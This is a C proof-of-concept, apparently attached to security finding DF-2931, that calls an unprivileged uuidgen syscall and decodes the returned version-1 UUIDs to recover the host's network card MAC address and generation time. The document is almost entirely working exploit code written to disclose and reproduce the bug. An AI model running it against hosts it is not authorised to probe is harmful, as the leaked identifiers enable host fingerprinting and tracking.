DF-2931 / uuidleak.c
/* * DF-2931 — kern_uuid.c uuid_node()/kern_uuidgen() info disclosure PoC * * Unprivileged uuidgen(2) returns RFC-4122 **v1** UUIDs whose node field * contains the host's primary NIC MAC address (sys/kern/kern_uuid.c:88 * if_getanyethermac + :90 unconditional `|= 0x01`), and whose timestamp * field is the raw wall-clock time of generation (kern_uuid.c:99-109). * * Success criterion (as an unprivileged user): * - every UUID has version nibble 1 (time-based) * - node field == first IFT_ETHER interface MAC with bit0 of byte0 set * (0x52:54:00:12:34:56 -> 53:54:00:12:34:56); clearing that bit * recovers the exact MAC * - the 60-bit timestamp decodes to the current wall-clock time */ #include <sys/syscall.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> struct df_uuid { unsigned int time_low; unsigned short time_mid; unsigned short time_hi_and_version; unsigned char clk_seq_hi; unsigned char clk_seq_lo; unsigned char node[6]; }; int main(void) { struct df_uuid u[4]; unsigned long long ts; time_t sec, now; int i; if (syscall(392, u, 4) != 0) { perror("uuidgen"); return 1; } now = time(NULL); printf("caller uid : %d\n", getuid()); printf("host wall clock : %s", ctime(&now)); for (i = 0; i < 4; i++) { printf("uuid[%d] : %08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x (version nibble %x)\n", i, u[i].time_low, u[i].time_mid, u[i].time_hi_and_version, u[i].clk_seq_hi, u[i].clk_seq_lo, u[i].node[0], u[i].node[1], u[i].node[2], u[i].node[3], u[i].node[4], u[i].node[5], u[i].time_hi_and_version >> 12); } ts = ((unsigned long long)(u[0].time_hi_and_version & 0xfff) << 48) | ((unsigned long long)u[0].time_mid << 32) | u[0].time_low; sec = (time_t)((ts - 0x01B21DD213814000ULL) / 10000000ULL); printf("v1 timestamp decoded : %s", ctime(&sec)); printf("leaked node field : %02x:%02x:%02x:%02x:%02x:%02x\n", u[0].node[0], u[0].node[1], u[0].node[2], u[0].node[3], u[0].node[4], u[0].node[5]); printf("node with bit0 cleared: %02x:%02x:%02x:%02x:%02x:%02x <- compare 'ifconfig ... ether'\n", u[0].node[0] & ~1, u[0].node[1], u[0].node[2], u[0].node[3], u[0].node[4], u[0].node[5]); return 0; } |